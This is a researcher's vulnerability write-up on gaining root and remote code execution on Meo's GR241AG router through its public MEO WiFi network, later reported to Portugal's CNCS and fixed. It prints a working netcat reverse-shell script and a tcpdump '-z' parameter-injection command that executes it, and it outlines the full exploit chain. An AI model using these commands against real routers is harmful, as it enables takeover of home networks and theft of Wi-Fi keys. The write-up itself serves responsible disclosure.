During the year of 2023 I’ve identified that it was possible to obtain full control of the FiberGateway GR241AG router (root access), provided by a Portuguese ISP (Meo), via the public wifi network “MEO WiFi”. This wifi network is enabled by default and can only be disabled by contacting the ISP support. More than 1.600.000 households were affected by the identified vulnerabilities.
Introduction
In 2020, when I moved out of my parents home, I needed an ISP subscription and I subscribed (Meo) Internet service. When I received the router and connected to it via the web interface, I noticed that it was not possible to modify the DNS server. This was a bummer since I wanted to have a Raspberry Pi with Pi-hole to monitor and block DNS requests and I didn’t want to change the DNS server on all my devices. The solution was to put a router in front of the ISP router, but that costs money and I don’t like to spend money. 💸
In 2022, I decided that I was going to look for a FiberGateway GR241AG router at a second hand marketplace (OLX), since I didn’t want to to buy one from the ISP (+100 euros) or breach the ISP contract which states that you cannot tamper the router in any way. I got one for 10 euros. 🤑
Accessing a Serial Interface
I disassembled the router and noticed right way the UART and JTAG interfaces. Using a multimeter I identified the UART pinouts and connected a Bus Pirate to the UART interface.
After successfully connecting to the UART interface, verified that the U-Boot was password protected. Also, after the initial boot, the interface requires username/password authentication. The default credentials meo/meo could be used, but it would return the same restricted shell that can be accessed via SSH or Telnet.
Root Access via Serial Interface
What I’m about to share may sound like something straight out of a movie, but that’s what happened. At that time, I was recovering files from an HDD disk, which was near the router.
It seems that the HDD vibration did some kind of fault injection, due to the Bus Pirate cables not being soldered/pinned to the board or a loose component. When this occurred during boot, a segmentation fault would occur and the boot process would drop to a root shell.
After that I would just need to run the init scripts so the watchdog process that was in place did not kill the shell in 60 seconds.
Sometimes luck is a very important factor 🍀
I didn’t notice the cause of this immediately, I though it was something random that was just happening. However when I stopped recovering the files from the HDD, I couldn’t get a shell. So now the process to obtain a shell, was to reboot the router and smack out the f**king table and repeat the process until I obtained a root shell 🤯. That was crazy!
Restricted Shell with Admin User
The next step was to dump the firmware of the router. Since the router had a USB port, I just connected a PEN drive and copied the mtdblock files. I extracted the firmware using binwalk. I started analyzing all the files by looking for credentials that could be used to obtain an unrestricted shell. The password of the admin user was in cleartext in a library. This password wasn’t public.
Using this password I was able to obtain shell access with the admin user. This shell was still restricted, however, I had more functionalities available. These new functionalities allowed me to:
- Monitor all traffic, including traffic from the public MEO WiFi network
- Update the firmware
- Modify the DNS server 💪
I accomplished my goal of being able to modify the DNS server of my router (without the need of connecting to UART). But I wanted more!
Unrestricted Shell
With the admin password, I decided to try to identify a vulnerability in the restricted shell that would allow me to obtain an unrestricted shell.
I started looking for command and parameter injection vulnerabilities in the restricted shell commands. Most of the commands were protected against these types of vulnerabilities. However, I identified that the tcpdump command was vulnerable to parameter injection.
In GTFOBins, it’s stated that by using the -z parameter, it is possible to run a command when a log is rotated.
Since the router had a USB port and I knew the path to the mount folder, I just needed to put a shell script with executable permissions that creates a remote shell in the PEN drive.
#!/bin/sh
/bin/sh -c rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.79 4444 >/tmp/f
After inserting the PEN drive in the router, I just needed to connect to the restricted shell via SSH with the admin user and run the following tcpdump command:
/debug/tcpdump --filter="udp port 1234" --file-name="test -i any -W 1 -G 1 -z /mnt/disk1_1/rce.sh"
And then open a nc listener and send a UDP packet to port 1234 to trigger the execution of the postrotate-command of tcpdump
Remote Code Execution
This method still required physical access to the router, since I needed to use a PEN drive. I stopped testing for a few months and then remembered to revisit the tcpdump vulnerability.
By looking at the man page, I saw something interesting. The -z parameter, if used with -G will execute the postrotate-command using the save file as input.
This allowed to send the command to be executed via the network and thus removing the need of physical access to the router 💪
MEO WiFi Public Network
This public wifi network comes enabled by default and can only be disabled by calling the support. It is used by MEO users to connect to the Internet anywhere in Portugal. More than 1.600.000 of these networks are available in Portugal. This network works in bridge mode, connecting the clients to the MEO network.
Since I had root access, I identified that most of the services are available on all interfaces. I also identified that the interface of the MEO Wifi network only has IPv6 configured. I tried to access the router web interface using the IPv6 address via the MEO WiFi network and it worked! 😮
RCE via the Public Network MEO WiFi
The problem is that the IPv6 address is randomized in every reboot. I used Wireshark to check if I could identify the IPv6 address during the connection to the MEO network, but no luck. Also, brute-forcing was not feasible.
In IPv6, there is a protocol called Neighbor Discovery Protocol (NDP). This protocol uses ICMPv6 packets to perform similar functions to ARP in IPv4. By sending an ICMPv6 packet to a multicast address, it is possible to obtain routing information from the different nodes in the network.
The router had this protocol enabled for the MEO WiFi network interface. This allowed to discover the IPv6 of the network interface by sending an ICMPv6 packet to the ff02::2 multicast address (All-Routers). 🤯
The full exploit chain would consist in the following:
- Connect to the MEO WiFi network and identify the IPv6 address by sending an ICMPv6 packet to the ff02::2
- Connect via SSH/Telnet to the IPv6 address identified with the admin user
- Start a nc listener in the local IPv6 address
- Exploit the tcpdump command to obtain a reverse shell
Also, I’ve created two Python scripts. One that performs the full exploit chain described above and the other just dumps the WPA2 keys of the private wifi interface.
Security Impact
The exploitation of the router via the MEO WiFi network, would allow anyone in wifi range of one of the +1.600.000 routers to perform the following:
- DNS Hijacking
- Extract phone call history
- Network monitoring
- Extract WPA2 keys
- Access to internal/local network devices
- Denial-of-service
Disclosure
I reported all the findings to Centro Nacional de Cibersegurança (CNCS) and they contacted the Meo CERT. One week later it was no longer possible to obtain remote code execution via the MEO WiFi network interface. 👏
The rest of the vulnerabilities were fixed in the next months, however I could not test them since they changed the admin password.
I didn’t received any bounty, but at least they let me publish this writeup. 😅
Timeline
Bonus Findings
I also identified the following vulnerabilities that were not useful for the exploit chain:
- Arbitrary write via output redirect in the nslookup command
- Buffer overflow in the wget command
RootedPT 2025
I had a blast presenting this research at RootedCON PT 2025. To everyone who was there, I hope you enjoyed it as much as I did. 😁